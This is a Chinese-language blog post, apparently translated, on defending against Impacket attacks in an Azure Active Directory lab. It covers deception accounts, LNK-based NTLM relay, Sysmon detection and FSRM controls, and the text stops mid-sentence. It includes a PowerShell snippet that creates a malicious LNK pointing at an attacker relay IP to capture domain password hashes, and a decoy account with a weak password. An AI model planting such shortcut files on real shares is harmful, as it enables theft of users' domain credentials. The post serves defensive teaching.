使用Azure实验室进行Impacket防御基础

本文详细介绍了如何使用Azure实验室设置环境,通过Impacket工具进行防御基础操作,包括预防性欺骗、NTLM中继攻击防御、账户枚举检测、Kerberoasting检测和凭证转储防御等技术内容。

Impacket防御基础与Azure实验室

Jordan Drysdale //

概述

以下对Impacket部分工具和技术的描述是对作者SecureAuthCorp以及维护和扩展代码的开源努力的致敬。这是我之前文章“使用Azure实验室进行Impacket攻击基础”的后续,将从检测和防御这些技术的角度进行探讨。
https://github.com/SecureAuthCorp/impacket

实验室设置

ARM模板在此:doazlab.com 或 github.com/DefensiveOrigins/DO-LAB
验证可以构建资源的Azure订阅。部署实验室。

域控制器和加入的工作站
Ubuntu

预防性欺骗

本节将提供一些基本命令,用于在Active Directory中创建几个受控对象。这些对象将帮助我们稍后检测一些常见攻击。

Deploy-Deception工具包值得称赞,虽然仓库已有几年历史,但材料仍然相关。一些最基本的检测,如攻击者对受控对象的对象属性读取(或Kerberoasting它们),可以减少我们的平均检测时间。

GitHub: https://github.com/samratashok/Deploy-Deception
博客: https://www.labofapenetrationtester.com/2018/10/deploy-deception.html

下面创建的Luis账户将用于促进一些枚举类型和Kerberoasting检测。

1
New-ADUser -UserPrincipalName Luis.Graves@doazlab.com -Path "OU=DomainUsers,dc=doazlab,DC=com" -GivenName "Luis" -Surname "Graves" -Enabled 1 -Name "Luis.Graves" -desc "Accounting Controller" -office "Accounting" -title "Controller" -company "DevLabs" -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Credential $Cred

账户应位于域根下的DomainUsers OU中。

这个账户稍后会有用,我保证。

Ntlmrelayx.py

防御像ntlmrelayx这样广泛的工具包可能是一个挑战。你认为Impacket库很广泛?仅ntlmrelayx就有大约300种不同的攻击选项组合。

下面的防御场景试图缓解Mitre ATT&CK 1204:恶意链接。LNK攻击基本上依赖于由LNK快捷方式文件目标的监听中继。
https://attack.mitre.org/techniques/T1204/001/

因此,在我看来,在撰写本文时(2022年7月16日),MITRE ATT&CK框架下概述的缓解措施不足以保护域文件共享免受LNK和URL攻击向量的影响。

在以下假设下,网络入侵预防措施不足。

对手试图提升权限,但已经在域用户的受损上下文中工作。

在没有Microsoft的文件服务器资源管理器1或类似技术的情况下,在文件上留下LNK或URL工件很可能不会被检测到。

敌对LNK文件的使命不是下载,而是触发对对手中继的静默身份验证。

无论如何,我未能将此缓解措施与实际情况联系起来。

缓解ID M1021,限制基于Web的内容,也遭受同样的现实,即一旦终端用户被入侵,他们的文件共享就成为软目标。作为渗透测试员,在登陆域加入系统后,我不寻找Web访问、Web服务或任何与TCP/80或TCP/443相关的内容。文件共享 == Web协议?!?奇怪。

最后,M1017培训用户的建议被放错了地方。用户浏览文件共享时与LNK文件静默交互。查看下面命令中LNK的目标路径,我们可以看到它指向其他地方的IP地址。

1
2
PS C:\> $lnk = $objShell.CreateShortcut("c:\file6\malicious.lnk")
PS C:\> $lnk.TargetPath = "\\10.0.0.8\@threat.png"

因此,如果这里有培训目标,那就是所有IT操作人员关于这些文件的性质。重复 – 使用上述LNK文件浏览文件共享将触发静默Windows域凭据提交给攻击者(密码哈希)。如果DA浏览此共享,DA凭据将提交给攻击者的中继。终端用户浏览共享,他们的域凭据材料将发送给攻击者。这里没有什么可以教终端用户的…除非我遗漏了什么。

检测?
你可以使用Sysmon检测和警报文件创建事件。这真的就像创建对.URL和.LNK文件的匹配一样简单 – BOOM – 轻松获胜(哦,是的,这默认被传奇的Olaf的Sysmon-Modular捕获)。2 没有Sysmon?检查你的EDR及其功能。Windows事件ID 4656可能会淹没你的组织日志量,因此从建议的角度来看,高效启用“审计对象访问”将很困难。

防御?
Microsoft通过FSRM使这变得简单。这允许共享管理员限制允许的文件扩展名。就这么简单?是的。你应该试试;它有效。

你可以通过缩小文件共享的焦点来使这更容易。如果你的域缺乏一致的工作站防火墙策略,你可能拥有不知道的文件共享。工作站防火墙将减少网络上的开放共享足迹,减少对手使用SMB RPC3促进额外攻击的开口,并且是另一个可以减少风险的更好安全实践。

还有一件事 – 了解你的出口暴露并经常检查。你应该减少出站端口暴露,以避免哈希被发送到网络外的对手。

下一个防御场景试图缓解Mitre ATT&CK T1557:中间人攻击。
https://attack.mitre.org/techniques/T1557/001/

从LNK攻击的角度来看,中间人攻击者停靠在你的网络或域上的某个地方作为中继。当终端用户浏览LNK共享时,他们的凭据被发送给中间人攻击者(AiTM),后者将凭据转发给上下文中任何有意义的目

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计